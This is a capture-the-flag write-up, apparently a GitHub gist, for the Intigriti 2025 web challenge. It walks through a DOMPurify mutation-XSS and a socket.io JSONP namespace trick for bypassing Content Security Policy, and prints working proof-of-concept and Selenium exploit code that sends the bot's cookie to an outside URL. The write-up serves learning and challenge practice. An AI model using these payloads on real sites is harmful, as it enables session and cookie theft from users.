Skip to content

Instantly share code, notes, and snippets.

@Siss3l
Last active August 30, 2025 15:19
Show Gist options
  • Save Siss3l/ea32bb2ac94ea603d0818f2b958449dc to your computer and use it in GitHub Desktop.
Save Siss3l/ea32bb2ac94ea603d0818f2b958449dc to your computer and use it in GitHub Desktop.
Intigriti 2025 Web Challenge

Intigriti 2025 Web Challenge

Chall

Description

The solution:

  • Should work on the latest version of Firefox and Chromium. Due to recent changes, the --disable-features=EscapeLtGtInAttributes startup flag is required for Chromium, and in Firefox set dom.security.html_serialization_escape_lt_gt=false in about:config (this check should says "does NOT escape");
  • Should leverage a cross site scripting vulnerability on this domain;
  • Shouldn't be self-XSS or related to MiTM attacks;
  • Should require no user interaction.

Overview

The web challenge allows us to login to some IRC:

<!DOCTYPE html>
<html lang="en">
  <head>
    <meta charset="UTF-8"/>
    <meta name="viewport" content="width=device-width, initial-scale=1.0"/>
    <title>IRC - Login</title>
    <link rel="stylesheet" href="/static/challenge_styles.css"/>
    <script src="/socket.io/socket.io.js"></script>
  </head>
  <body>
    <div class="container">
      <table>
        <tr><td class="header">Instant Realtime Communication</td></tr>
        <tr>
          <td>
            <form class="center-form" id="login-form" action="#">
              <h2 id="title">Join or Create a Channel</h2>
              <input type="text" name="username" placeholder="Enter your username" autocomplete="off" required autofocus/>
              <button type="submit" id="button">Continue</button>
            </form>
          </td>
        </tr>
      </table>
    </div>
    <div class="bottom-right">
      <a href="/irc.zip" download="">
        <strong>100% secure</strong>. Don't believe us?<br/>
        <i>Review the source code</i>
        <span class="muted-right">irc.zip</span>
      </a>
    </div>
    <script src="/login.js"></script>
  </body>
</html>

Recon

We hurry to check the root application irc/app/package.json file:

{
  "scripts": { "start": "node index.js" },
  "name":    "irc",
  "version": "1.0.0",
  "type":    "module",
  "dependencies": {
    "express":   "^5.1.0",
    "puppeteer": "^24.8.2",
    "socket.io": "^4.8.1",
    "uuid":      "^11.1.0"
  }
}
  • DOMPurify is a DOM-only, super-fast, uber-tolerant XSS sanitizer;
    • Nesting-based mXSS case.
  • Express is a minimalistic web framework built for NodeJS;
  • Puppeteer is a JavaScript library which provides a high-level API to control headless web browser over the DevTools Protocol or WebDriver BiDi;
  • Socket.IO is a JavaScript library (for both client and server) that provides a higher-level abstraction over WebSockets, designed to make real-time communication easier and more reliable across browsers and environments;
  • Generate RFC-compliant UUID in JavaScript.

Reading the challenge code, we understand that we need to find a way to exfiltrate the cookie while bypassing sanitization as Content Security Policy:

// irc/app/public/chat.js
const textSpan = document.createElement("span");
textSpan.appendChild(DOMPurify.sanitize(message.text, { RETURN_DOM_FRAGMENT: true, ADD_TAGS: ["iframe"] }));
messageElement.appendChild(textSpan);
const chatMessages = document.getElementById("chat-messages");
chatMessages.appendChild(messageElement);
chatMessages.scrollTop = chatMessages.scrollHeight;
document.body.innerHTML = document.body.innerHTML; // oof
// irc/app/bot.js
const context = await browser.createBrowserContext();
await context.setCookie({
  name:   "flag",
  value:  "CTF{FLAG}",
  domain: HOST.replace(/https?:\/\//, "")
});
// irc/app/index.js
app.use(function (req, res, next) {
  res.setHeader(
    "Content-Security-Policy",
    `default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline'; base-uri 'none'; frame-src 'none'; form-action 'self'`
  );
  res.setHeader("X-Content-Type-Options", "nosniff");
  res.setHeader("X-Frame-Options",        "SAMEORIGIN");
  next();
});

XSS

The first idea is to search for mXSS since the presence of the EscapeLtGtInAttributes argument is pointing to that direction.
DOM exploration tools will help us to see it better, combining it with different LLM penetration testing.

Furthermore, the entire body is parsed again because of document.body.innerHTML part making it update the entire chat corpus.

<!DOCTYPE html>
<html lang="en">
  <head>
    <meta charset="UTF-8"/>
    <meta name="viewport" content="width=device-width, initial-scale=1.0"/>
    <title>IRC</title>
    <link rel="stylesheet" href="/static/challenge_styles.css"/>
    <script src="/purify.js"></script>
    <script src="/socket.io/socket.io.js"></script>
  </head>
  <body>
    <div class="container">
      <table>
        <tr>
          <td class="header" colspan="2">Instant Realtime Communication</td>
        </tr>
        <tr>
          <td class="sidebar">
            <h3>Users</h3>
            <ul id="user-list" class="user-list"></ul>
            <a href="/login" id="leave-chat" class="btn">Leave Channel</a>
            <a href="/bot" id="invite-bot" class="btn blue">Invite Bot</a>
          </td>
          <td>
            <div id="chat-messages" class="chat-area"></div>
          </td>
        </tr>
        <tr>
          <td colspan="2">
            <form action="#" id="message-form" class="input-area">
              <input type="text" name="message" placeholder="Type your message" autocomplete="off" autofocus/>
              <button type="submit" class="send-btn">Send</button>
            </form>
          </td>
        </tr>
      </table>
    </div>
    <script src="/chat.js"></script>
  </body>
</html>

Adding the necessary with known node-flattening to close the remaining HTML tags will prevent the current DOMPurify-3.2.5 removing them.

The table element

  • Tag omission in text/html:
    • Neither tag is omissible.
  • Content attributes:
    • Global attributes
  • Accessibility considerations:
    • For authors.
    • For implementers.
  • DOM interface:
[Exposed=Window]
interface HTMLTableElement : HTMLElement {
  [HTMLConstructor] constructor();
  [CEReactions] attribute HTMLTableCaptionElement? caption;
  HTMLTableCaptionElement createCaption();
  [CEReactions] undefined deleteCaption();
  [CEReactions] attribute HTMLTableSectionElement? tHead;
  HTMLTableSectionElement createTHead();
  [CEReactions] undefined deleteTHead();
  [CEReactions] attribute HTMLTableSectionElement? tFoot;
  HTMLTableSectionElement createTFoot();
  [CEReactions] undefined deleteTFoot();
  [SameObject] readonly attribute HTMLCollection tBodies;
  HTMLTableSectionElement createTBody();
  [SameObject] readonly attribute HTMLCollection rows;
  HTMLTableRowElement insertRow(optional long index = -1);
  [CEReactions] undefined deleteRow(long index);
};

CSP

Another idea is to search for the CSP bypass, but unfortunately this will not be as easy as it sounds.

Everyone who has taken part in the challenge could see where this is going:

// https://github.com/socketio/socket.io/blob/main/packages/engine.io/lib/transports/index.ts
import { Polling as XHR } from "./polling";
import { JSONP } from "./polling-jsonp";
import { WebSocket } from "./websocket";
import { WebTransport } from "./webtransport";
export default { polling: polling, websocket: WebSocket, webtransport: WebTransport, };
/**
 * Polling polymorphic constructor.
 */
function polling(req) {
  if ("string" === typeof req._query.j) {
    return new JSONP(req);
  } else {
    return new XHR(req);
  }
}
polling.upgradesTo = ["websocket", "webtransport"];
// https://github.com/socketio/socket.io/blob/main/packages/engine.io/lib/transports/polling-jsonp.ts
import { Polling } from "./polling";
import * as qs from "querystring";
import type { RawData } from "engine.io-parser";
const rDoubleSlashes = /\\\\n/g;
const rSlashes = /(\\)?\\n/g;
export class JSONP extends Polling {
  private readonly head: string;
  private readonly foot: string;
  /**
   * JSON-P polling transport.
   */
  constructor(req) {
    super(req);
    this.head = "___eio[" + (req._query.j || "").replace(/[^0-9]/g, "") + "](";
    this.foot = ");";
  }
  override onData(data: RawData) {
    data = qs.parse(data).d as string;
    if ("string" === typeof data) {
      data = data.replace(rSlashes, function (match, slashes) {
        return slashes ? match : "\n";
      });
      super.onData(data.replace(rDoubleSlashes, "\\n"));
    }
  }
  override doWrite(data, options, callback) {
    const js = JSON.stringify(data).replace(/\u2028/g, "\\u2028").replace(/\u2029/g, "\\u2029");
    data = this.head + js + this.foot;
    super.doWrite(data, options, callback);
  }
}

Cake

The good news is that we can still trigger the JSONP endpoint with the j parameter (that would help bypass the current Content Security Policy).
But, the bad news is that the in-place filtering will not let us include malicious code.

Inevitably, we will lose days for nothing, who may make us hate the web a little more (which is a good thing).

Wrong

Solution

Always at the rescue, we ask our Lord and Savior LLM to help us find another valid socket.io CSP bypass gadget.

  • Namespace is a communication channel that allows you to split the logic of your application over a single shared connection.
  • This class is composing a protocol string for socket.io packets, not constructing HTML or JavaScript code that is then executed or rendered by a browser. It combines properties of an object into a string that represents a message to be parsed later by the protocol.
// https://github.com/socketio/socket.io/blob/main/packages/socket.io-parser/lib/index.ts
export class Encoder {
  /**
   * Encoder constructor
   * @param {function} replacer - custom replacer to pass down to JSON.parse
   */
  constructor(private replacer?: (this: any, key: string, value: any) => any) {}
  /**
   * Encode a packet as a single string if non-binary, or as a
   * buffer sequence, depending on packet type.
   * @param {Object} obj - packet object
   */
  public encode(obj: Packet) {
    debug("encoding packet %j", obj);
    if (obj.type === PacketType.EVENT || obj.type === PacketType.ACK) {
      if (hasBinary(obj)) {
        return this.encodeAsBinary({
          type: obj.type === PacketType.EVENT ? PacketType.BINARY_EVENT : PacketType.BINARY_ACK,
          nsp: obj.nsp,
          data: obj.data,
          id: obj.id,
        });
      }
    }
    return [this.encodeAsString(obj)];
  }

  /**
   * Encode packet as string.
   */
  private encodeAsString(obj: Packet) { // first is type
    let str = "" + obj.type; // attachments if we have them
    if (obj.type === PacketType.BINARY_EVENT || obj.type === PacketType.BINARY_ACK) {
      str += obj.attachments + "-";
    } // if we have a namespace other than `/` we append it followed by a comma `,`
    if (obj.nsp && "/" !== obj.nsp) {
      str += obj.nsp + ",";
    } // immediately followed by the id
    if (null != obj.id) {
      str += obj.id;
    } // json data
    if (null != obj.data) {
      str += JSON.stringify(obj.data, this.replacer);
    }
    debug("encoded %j as %s", obj, str);
    return str;
  }

  /**
   * Encode packet as 'buffer sequence' by removing blobs, and
   * deconstructing packet into object with placeholders and a list of buffers.
   */
  private encodeAsBinary(obj: Packet) {
    const deconstruction = deconstructPacket(obj);
    const pack = this.encodeAsString(deconstruction.packet);
    const buffers = deconstruction.buffers;
    buffers.unshift(pack); // add packet info to beginning of data list
    return buffers;        // write all the buffers
  }
}

We take advantage of the way the encoding is managed (abusing protocol) to incorporate some payload.
Thus generating a proof of principle:

(async () => {
    let r = await fetch("https://challenge-0725.intigriti.io/socket.io/?EIO=4&transport=polling");
    let sid = (await r.text()).match(/"sid":"([^"]+)"/)[1]; // {"code":1,"message":"Session ID unknown"}
    // Obtain session ID from the socket.io polling interface
    await fetch(`https://challenge-0725.intigriti.io/socket.io/?EIO=4&transport=polling&sid=${sid}`, {
        method: "POST", headers: { "Content-Type": "text/plain" }, body: "40/(alert(document.cookie))//"
    });
    // 44/(alert(document.cookie))//,{"message":"Invalid namespace"}
    let s = document.createElement("script");
    s.src = `https://challenge-0725.intigriti.io/socket.io/?EIO=4&transport=polling&sid=${sid}`;
    document.head.appendChild(s);
})();

Sock

We can now automate a bit the exploitation:

from selenium                           import webdriver
from selenium.webdriver.common.by       import By
from selenium.webdriver.common.keys     import Keys
from selenium.webdriver.chrome.service  import Service
from selenium.webdriver.support.ui      import WebDriverWait
from selenium.webdriver.support         import expected_conditions as EC


options = webdriver.ChromeOptions()   # WARNING: All log messages before absl::InitializeLog() is called are written to STDERR
options.add_argument("--log-level=3") # "allow pasting"
options.add_argument("--disable-features=EscapeLtGtInAttributes")
options.add_experimental_option("excludeSwitches", ["enable-logging"])
driver  = webdriver.Chrome(service=Service(log_path="/dev/null"), options=options) # nul

def main():
    driver.get("https://challenge-0725.intigriti.io/login")
    wait = WebDriverWait(driver, 15)
    username_input = wait.until(EC.visibility_of_element_located((By.NAME, "username")))
    username_input.send_keys("user")
    username_input.send_keys(Keys.RETURN)

    ping = wait.until(EC.visibility_of_element_located((By.XPATH, "//*[contains(text(), 'has joined the channel')]")))
    if ping:
        uid = driver.current_url.split("/")[-1]
        poc = __import__("textwrap").dedent(f"""
            // $ /ask Prompting debugging methods.
            let [host, leak, s, uid, user] = ["https://challenge-0725.intigriti.io", "https://169.254.169.254/", io("https://challenge-0725.intigriti.io",{chr(123)}transports:["websocket"]{chr(125)}), "{uid}", "user"]; // let send_message = m => console.info(m);

            s.on("connect", () => {chr(123)} // https://developer.mozilla.org/en-US/docs/Web/HTTP/Reference/Status/502 or 503 error can occur
              s.emit("join_channel", {chr(123)} channelId: uid, username: user {chr(125)});   // Missing channelId could crash the server
              console.warn(`${chr(123)}host{chr(125)}/bot?channel=${chr(123)}uid{chr(125)}`); // Bypass reCAPTCHA | https://github.com/ultrafunkamsterdam/nodriver
            {chr(125)});

            s.on("user_list", async function(k) {chr(123)}        // Joined room
                if (k.some(i=> i.username === "bot")) {chr(123)} // https://github.com/socketio/socket.io/discussions/4037
                    send_message(`${chr(123)}'<div>'.repeat(502){chr(125)}<div/id=x><table><caption>x</caption><iframe/id=chat-messages></iframe>${chr(123)}'</div>'.repeat(503){chr(125)}`); // Should be closed
                    send_message("https://youtu.be/CR9wDbPelt4"); // https://stackoverflow.com/questions/48633145/what-is-the-t-query-parameter-in-a-socket-io-handshake
                    let id  = JSON.parse((await(await fetch(`${chr(123)}host{chr(125)}/socket.io/?${chr(123)}new URLSearchParams({chr(123)}EIO:4,t:Math.random(),transport:"polling"{chr(125)}){chr(125)}`,{chr(123)}credentials:"include"{chr(125)})).text()).slice(1)).sid;
                    let poc = `40/**/;window.top.location.href=\`${chr(123)}leak{chr(125)}?flag=${chr(123)}document.cookie{chr(125)}\`//`; // https://socket.io/docs/v4/namespaces | window !== window.top
                    let req = await fetch(`${chr(123)}host{chr(125)}/socket.io/?${chr(123)}new URLSearchParams({chr(123)}EIO:4,transport:"polling",sid:id{chr(125)}){chr(125)}`,{chr(123)}body:poc,method:"POST",headers:{chr(123)}"Content-Type":"text/html"{chr(125)},credentials:"include"{chr(125)});
                    console.assert(await req.text() === "ok");
                    console.info(`${chr(123)}host{chr(125)}/socket.io/?transport=polling&EIO=4&sid=${chr(123)}id{chr(125)}&j=0&t=${chr(123)}Math.random(){chr(125)}`); // EIO=0
                    send_message(`<div/id="</iframe><iframe/srcdoc='<script/src=/socket.io/?EIO=4&transport=polling&sid=${id}></script>'></iframe>">`);
                {chr(125)}
            {chr(125)});
        """).strip()
        driver.execute_script(poc)

        def warn():
            while 1: # Waiting for the bot invitation response
                if (w := [e["message"] for e in driver.get_log("browser") if e["level"] == "WARNING"]): return w[0] # []

        link = warn()
        driver.switch_to.new_window("tab")
        driver.get(link.split('"')[1])
        btn = wait.until(EC.element_to_be_clickable((By.ID, "button"))).click() # driver.switch_to.window(driver.window_handles[0])
        bot = wait.until(EC.visibility_of_element_located((By.XPATH, "//*[contains(text(), 'has joined the channel')]")))
        driver.quit()


if __name__ == "__main__":
    try:
        main()
    except Exception as e:
        print(e)

End

Appendix

Challenges management has been diminishing over time.

Rip

Comments are disabled for this gist.